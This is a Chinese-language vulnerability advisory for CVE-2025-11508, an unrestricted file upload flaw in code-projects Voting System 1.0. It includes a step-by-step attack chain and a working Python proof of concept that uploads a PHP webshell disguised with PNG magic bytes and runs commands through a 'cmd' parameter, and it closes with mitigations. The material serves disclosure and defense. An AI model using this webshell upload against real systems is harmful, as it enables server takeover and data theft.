IPBUF安全漏洞报告
English
CVE-2025-11508 CVSS 4.7 中危

CVE-2025-11508:code-projects投票系统任意文件上传漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11508
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
code-projects Voting System

相关标签

CVE-2025-11508任意文件上传Unrestricted File Uploadcode-projectsVoting SystemPHPWebShell远程代码执行中危漏洞已公开PoC

漏洞概述

CVE-2025-11508是code-projects Voting System 1.0版本中存在的一个安全漏洞。该漏洞位于/admin/voters_add.php文件中,涉及对photo参数的处理逻辑存在缺陷,导致攻击者可以执行无限制的文件上传操作。code-projects Voting System是一款基于Web的投票管理系统,通常用于在线投票、选举或问卷调查等场景。由于该系统对上传文件缺乏有效的类型过滤和内容校验,攻击者可以利用此漏洞上传恶意文件(如WebShell),从而获取服务器控制权限。该漏洞已被公开披露,相关的利用代码已在GitHub等平台上发布,任何具备管理员权限的用户均可远程发起攻击。根据CVSS 3.1评分标准,该漏洞评分为4.7分,属于中危级别。虽然漏洞利用需要高权限(PR:H),但一旦利用成功,将对系统的机密性、完整性和可用性均造成低级别的影响。由于该漏洞已被公开披露且存在可用的PoC代码,相关用户应尽快采取修复措施。

技术细节

该漏洞的根本原因在于/admin/voters_add.php文件对photo参数的处理过程中,未对上传文件的类型、扩展名和内容进行充分的验证和过滤。具体而言,当管理员通过该接口添加选民信息并上传照片时,系统直接将用户提交的文件保存到服务器指定目录,而没有执行以下关键安全检查:1)文件扩展名白名单校验;2)MIME类型验证;3)文件内容头(Magic Bytes)检查;4)文件重命名处理。攻击者可以构造包含恶意代码的文件(如.php、.phtml、.jsp等可执行脚本),并将其伪装为图片格式进行上传。由于漏洞利用需要高权限(PR:H),攻击者首先需要获取系统的管理员账号凭据。一旦获得管理员权限,攻击者可以通过构造包含恶意脚本的'照片'文件,利用multipart/form-data请求向/admin/voters_add.php端点提交数据。服务器在处理请求时,会将恶意文件保存到Web可访问目录中。随后,攻击者可以通过浏览器直接访问上传的恶意文件,触发其中的代码执行,从而获得WebShell权限,进一步控制系统服务器。

攻击链分析

STEP 1
步骤1:获取管理员凭据
由于漏洞利用需要高权限(PR:H),攻击者首先需要通过社会工程学、暴力破解或其他方式获取Voting System的管理员账号和密码。
STEP 2
步骤2:登录管理后台
使用获取的管理员凭据登录/admin/页面,建立有效的会话Cookie,为后续攻击做准备。
STEP 3
步骤3:构造恶意上传请求
创建一个包含PHP WebShell代码的文件,通过在文件头部添加图片魔术字(如PNG头)来绕过简单的内容检查,将文件伪装为合法图片。
STEP 4
步骤4:利用photo参数上传恶意文件
向/admin/voters_add.php发送multipart/form-data请求,通过photo参数上传构造好的恶意文件。由于服务器未对文件类型进行严格校验,恶意文件被成功保存到Web可访问目录。
STEP 5
步骤5:执行远程代码
通过浏览器或命令行工具访问上传的恶意文件URL,触发其中的PHP代码执行,获取服务器控制权限,实现远程命令执行。
STEP 6
步骤6:权限提升与持久化
利用获取的服务器权限进行进一步的渗透活动,如权限提升、植入后门、窃取敏感数据等,实现对目标系统的持久控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11508 PoC - Unrestricted File Upload in code-projects Voting System 1.0 # Affected file: /admin/voters_add.php # Vulnerable parameter: photo import requests # Target configuration TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/" UPLOAD_URL = f"{TARGET_URL}/admin/voters_add.php" # Attacker credentials (requires high privilege - PR:H) USERNAME = "admin" PASSWORD = "admin123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as administrator login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } response = session.post(ADMIN_LOGIN_URL, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Prepare malicious PHP webshell disguised as image # The file contains PHP code but uses image extension bypass techniques malicious_content = b"\x89PNG\r\n\x1a\n" # PNG magic bytes to bypass content checks malicious_content += b"<?php echo 'PWNED'; system($_GET['cmd']); ?>" # Step 3: Upload malicious file via the vulnerable photo parameter files = { "photo": ("shell.php", malicious_content, "image/png") } form_data = { "voters_id": "12345", "firstname": "test", "lastname": "test", "username": "testuser", "password": "testpass", "Add": "Add" } response = session.post(UPLOAD_URL, files=files, data=form_data) print(f"[*] Upload response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Step 4: Access the uploaded webshell # The shell is typically saved in /admin/uploads/ or similar directory shell_url = f"{TARGET_URL}/admin/uploads/shell.php?cmd=id" response = requests.get(shell_url) print(f"[*] Shell access status: {response.status_code}") print(f"[*] Command output: {response.text}")

影响范围

code-projects Voting System 1.0

防御指南

临时缓解措施
在等待官方修复版本发布期间,建议采取以下临时缓解措施:1)限制/admin/voters_add.php端点的访问权限,仅允许可信IP地址访问;2)在Web服务器层面配置上传目录的脚本执行权限,禁止PHP等脚本文件的执行;3)部署文件类型过滤规则,阻止.php、.phtml、.jsp等可执行脚本的上传;4)加强管理员账号的安全管理,启用双因素认证,避免凭据泄露;5)定期检查上传目录中的文件,及时清理可疑文件;6)监控系统日志,对异常的文件上传行为进行告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表